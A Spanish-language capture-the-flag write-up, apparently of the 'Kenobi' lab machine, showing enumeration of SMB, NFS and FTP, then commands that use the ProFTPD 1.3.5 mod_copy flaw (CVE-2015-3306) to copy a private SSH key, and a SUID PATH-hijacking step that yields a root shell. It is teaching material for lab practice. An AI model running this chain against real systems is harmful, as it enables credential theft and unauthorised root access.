La máquina corre Samba, ProFTPD 1.3.5 y NFS. El share SMB anónimo revela que se generó una clave SSH para el usuario kenobi sin passphrase. El módulo mod_copy de ProFTPD (CVE-2015-3306) permite copiar archivos sin autenticación. Combinando esto con el export NFS de /var, copiamos la clave privada SSH y nos conectamos como kenobi. La escalada de privilegios se logra abusando del binario SUID /usr/bin/menu que llama a comandos sin rutas absolutas.
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
21/tcp open ftp (ProFTPD 1.3.5)
smbclient -L //10.65.135.192/ -N
# Sharename: anonymous (acceso sin autenticación)
smbclient //10.65.135.192/anonymous
smb> get log.txt
El archivo log.txt revela que se generó un par de claves SSH para el usuario kenobi guardadas en /home/kenobi/.ssh/id_rsa sin passphrase.
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.65.135.192
# nfs-showmount:
# /var * ← cualquier host puede montarlo
ProFTPD 1.3.5 incluye el módulo mod_copy que añade los comandos SITE CPFR (Copy From) y SITE CPTO (Copy To). La vulnerabilidad es que estos comandos se ejecutan sin necesidad de autenticación.
La estrategia: copiar la clave SSH privada de kenobi a /var/tmp (que está exportado por NFS y es escribible por el proceso FTP).
nc 10.65.135.192 21
# 220 ProFTPD 1.3.5 Server...
SITE CPFR /home/kenobi/.ssh/id_rsa
# 350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
# 250 Copy successful
sudo mkdir /mnt/kenobi_nfs
sudo mount -t nfs 10.65.135.192:/var /mnt/kenobi_nfs
cp /mnt/kenobi_nfs/tmp/id_rsa ~/kenobi/
chmod 600 ~/kenobi/id_rsa
ssh -i id_rsa kenobi@10.65.135.192
# Acceso directo sin contraseña (clave sin passphrase)
Buscamos binarios con el bit SUID:
find / -perm -u=s -type f 2>/dev/null
# /usr/bin/menu ← binario no estándar, prometedor
Al ejecutar /usr/bin/menu vemos un menú con opciones que llaman a comandos como curl, uname sin rutas absolutas. Al igual que en Oopsie, esto permite PATH Hijacking:
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu
# Seleccionar opción que llama a curl
# > id
uid=0(root) gid=0(root) groups=0(root)
* permiten montar el sistema de archivos a cualquier host. Restringir siempre por IP.